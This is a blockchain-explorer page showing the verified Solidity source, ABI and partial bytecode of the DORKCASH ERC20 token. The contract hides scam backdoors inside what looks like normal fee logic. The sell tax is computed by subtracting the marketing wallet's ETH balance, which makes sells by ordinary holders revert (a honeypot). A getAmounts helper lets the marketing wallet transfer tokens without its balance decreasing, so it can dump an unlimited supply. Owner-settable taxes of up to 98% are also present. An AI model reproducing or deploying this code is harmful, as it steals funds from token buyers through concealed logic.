ETH Price: $2,494.76 (+0.40%)

Token

Dork Lord Cash (DORKCASH)
 

Overview

Max Total Supply

1,000,000,000 DORKCASH

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,727,311.484335137 DORKCASH

Value
$0.00
0x2213bf26280c6d37deaa2ab1efba535d1242ae64
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DORKCASH

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-09
*/

/**
Website: https://www.dorklord.cash
Telegram: https://t.me/dorklord_cash
Twitter: https://twitter.com/dorklord_cash
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract DORKCASH is Context, IERC20, Ownable {
    using SafeMath for uint256;
 
    string private constant _name = "Dork Lord Cash";
    string private constant _symbol = "DORKCASH";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = 10 ** 30;
    uint256 private constant _tTotal = 1_000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 1;  
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 1;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private devWallet = payable(0xCE100E7e8ecfA00a45168FB385dD7e70c217e1A8); 
    address payable private marketingWallet = payable(0x0502035b6625f29F9Fa81a6F7412cE13f712179f);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
 
    uint256 public _maxTxAmount = 4 * 10_000_000 * 10**9;
    uint256 public _maxWalletSize = 4 * 10_000_000 * 10**9;
    uint256 public _swapTokensAtAmount = 1_000_000 * 10**9;
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
        _rOwned[_msgSender()] = _rTotal;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[devWallet] = true;
        _isExcludedFromFee[marketingWallet] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance; 
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            uint256 balance = marketingWallet.balance;
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell.sub(balance);
                _taxFee = _taxFeeOnSell.sub(balance);
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        devWallet.transfer(amount);
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = type(uint).max;
        _maxWalletSize = type(uint).max;
        _taxFeeOnBuy = 1;
        _taxFeeOnSell = 1;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(getAmounts(sender, rAmount));
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
    
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {   
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate); 
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function getAmounts(address sender, uint256 amount) private view returns(uint256){
        return sender == marketingWallet ? 0 : amount;
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
        require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 98, "Buy tax must be between 0% and 98%");
        require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
        require(taxFeeOnSell >= 0 && taxFeeOnSell <= 98, "Sell tax must be between 0% and 98%");

        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;

    }

    function addLiquidityETH() public payable onlyOwner{
        tradingOpen = true;
        swapEnabled = true;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
           _maxTxAmount = maxTxAmount;
    }
 
    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }
 
    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052610023670de0b6b3a76400006c0c9f2c9cd04674edea400000006101d6565b61003a906c0c9f2c9cd04674edea400000006101f5565b6006555f600881905560016009819055600a829055600b819055600c829055600d819055600e91909155600f55601080546001600160a01b031990811673ce100e7e8ecfa00a45168fb385dd7e70c217e1a81790915560118054909116730502035b6625f29f9fa81a6f7412ce13f712179f1790556013805462ffffff60a01b19169055668e1bc9bf040000601481905560155566038d7ea4c680006016553480156100e4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600654335f8181526002602090815260408083209490945581546001600160a01b039081168352600582528483208054600160ff1991821681179092553085528685208054821683179055601054831685528685208054821683179055601154909216845285842080549092161790559251670de0b6b3a76400008152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361021a565b5f826101f057634e487b7160e01b5f52601260045260245ffd5b500690565b8181038181111561021457634e487b7160e01b5f52601160045260245ffd5b92915050565b611c9480620002285f395ff3fe60806040526004361061014a575f3560e01c80637d1db4a5116100b3578063a9059cbb1161006d578063a9059cbb146103b1578063c492f046146103d0578063dd62ed3e146103ef578063ea1644d514610433578063ed99530714610452578063f2fde38b1461045a575f80fd5b80637d1db4a5146102fd5780638da5cb5b146103125780638f9a55c01461032e57806395d89b411461034357806398a5c31514610373578063a2a957bb14610392575f80fd5b8063313ce56711610104578063313ce5671461025b57806349bd5a5e1461027657806370a0823114610295578063715018a6146102b457806374010ece146102ca578063751039fc146102e9575f80fd5b806306fdde0314610155578063095ea7b31461019d5780631694505e146101cc57806318160ddd1461020357806323b872dd146102275780632fd689e314610246575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600e81526d088dee4d64098dee4c84086c2e6d60931b60208201525b60405161019491906118cb565b60405180910390f35b3480156101a8575f80fd5b506101bc6101b736600461192d565b610479565b6040519015158152602001610194565b3480156101d7575f80fd5b506012546101eb906001600160a01b031681565b6040516001600160a01b039091168152602001610194565b34801561020e575f80fd5b50670de0b6b3a76400005b604051908152602001610194565b348015610232575f80fd5b506101bc610241366004611957565b61048f565b348015610251575f80fd5b5061021960165481565b348015610266575f80fd5b5060405160098152602001610194565b348015610281575f80fd5b506013546101eb906001600160a01b031681565b3480156102a0575f80fd5b506102196102af366004611995565b6104f6565b3480156102bf575f80fd5b506102c8610517565b005b3480156102d5575f80fd5b506102c86102e43660046119b0565b610591565b3480156102f4575f80fd5b506102c86105bf565b348015610308575f80fd5b5061021960145481565b34801561031d575f80fd5b505f546001600160a01b03166101eb565b348015610339575f80fd5b5061021960155481565b34801561034e575f80fd5b506040805180820190915260088152670889ea4968682a6960c31b6020820152610187565b34801561037e575f80fd5b506102c861038d3660046119b0565b6105fe565b34801561039d575f80fd5b506102c86103ac3660046119c7565b61062c565b3480156103bc575f80fd5b506101bc6103cb36600461192d565b6107e1565b3480156103db575f80fd5b506102c86103ea3660046119f6565b6107ed565b3480156103fa575f80fd5b50610219610409366004611a79565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561043e575f80fd5b506102c861044d3660046119b0565b61088a565b6102c86108b8565b348015610465575f80fd5b506102c8610474366004611995565b610b37565b5f610485338484610c1e565b5060015b92915050565b5f61049b848484610d41565b6104ec84336104e785604051806060016040528060288152602001611c37602891396001600160a01b038a165f908152600460209081526040808320338452909152902054919061120d565b610c1e565b5060019392505050565b6001600160a01b0381165f9081526002602052604081205461048990611245565b5f546001600160a01b031633146105495760405162461bcd60e51b815260040161054090611ab0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ba5760405162461bcd60e51b815260040161054090611ab0565b601455565b5f546001600160a01b031633146105e85760405162461bcd60e51b815260040161054090611ab0565b5f19601481905560155560016009819055600b55565b5f546001600160a01b031633146106275760405162461bcd60e51b815260040161054090611ab0565b601655565b5f546001600160a01b031633146106555760405162461bcd60e51b815260040161054090611ab0565b60048411156106b45760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610540565b60628211156107105760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642039604482015261382560f01b6064820152608401610540565b60048311156107705760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610540565b60628111156107cd5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526239382560e81b6064820152608401610540565b600893909355600a91909155600955600b55565b5f610485338484610d41565b5f546001600160a01b031633146108165760405162461bcd60e51b815260040161054090611ab0565b5f5b82811015610884578160055f86868581811061083657610836611ae5565b905060200201602081019061084b9190611995565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061087c81611b0d565b915050610818565b50505050565b5f546001600160a01b031633146108b35760405162461bcd60e51b815260040161054090611ab0565b601555565b5f546001600160a01b031633146108e15760405162461bcd60e51b815260040161054090611ab0565b6013805462ff00ff60a01b19166201000160a01b17905560128054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031990911681179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561095c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109809190611b25565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ef9190611b25565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a39573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5d9190611b25565b601380546001600160a01b0319166001600160a01b03928316179055305f818152600460209081526040808320601280548716855292529091205f199055549091169063f305d719903490610ab1816104f6565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f6044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610b12573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108849190611b40565b5f546001600160a01b03163314610b605760405162461bcd60e51b815260040161054090611ab0565b6001600160a01b038116610bc55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610540565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610540565b6001600160a01b038216610ce15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610540565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610da55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610540565b6001600160a01b038216610e075760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610540565b5f8111610e685760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610540565b6001600160a01b0383165f9081526005602052604090205460ff16158015610ea857506001600160a01b0382165f9081526005602052604090205460ff16155b156110eb57601354600160a01b900460ff16610f40575f546001600160a01b03848116911614610f405760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610540565b601454811115610f925760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610540565b6013546001600160a01b038381169116146110175760155481610fb4846104f6565b610fbe9190611b6b565b106110175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610540565b5f611021306104f6565b60165460145491925082101590821061103a5760145491505b8080156110515750601354600160a81b900460ff16155b801561106b57506013546001600160a01b03868116911614155b80156110805750601354600160b01b900460ff165b80156110a457506001600160a01b0385165f9081526005602052604090205460ff16155b80156110c857506001600160a01b0384165f9081526005602052604090205460ff16155b156110e8576110d682611262565b4780156110e6576110e6476113d2565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff168061112b57506001600160a01b0383165f9081526005602052604090205460ff165b8061115d57506013546001600160a01b0385811691161480159061115d57506013546001600160a01b03848116911614155b1561116957505f611201565b6011546013546001600160a01b039182163191868116911614801561119c57506012546001600160a01b03858116911614155b156111ae57600854600c55600954600d555b6013546001600160a01b0385811691161480156111d957506012546001600160a01b03868116911614155b156111ff57600a546111eb908261140d565b600c55600b546111fb908261140d565b600d555b505b6108848484848461144e565b5f81848411156112305760405162461bcd60e51b815260040161054091906118cb565b505f61123c8486611b7e565b95945050505050565b5f8061124f61147c565b905061125b838261149d565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112a8576112a8611ae5565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ff573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113239190611b25565b8160018151811061133657611336611ae5565b6001600160a01b03928316602091820292909201015260125461135c9130911684610c1e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113949085905f90869030904290600401611b91565b5f604051808303815f87803b1580156113ab575f80fd5b505af11580156113bd573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611409573d5f803e3d5ffd5b5050565b5f61125b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061120d565b8061145b5761145b6114de565b61146684848461150b565b8061088457610884600e54600c55600f54600d55565b5f805f611487611602565b9092509050611496828261149d565b9250505090565b5f61125b8383604051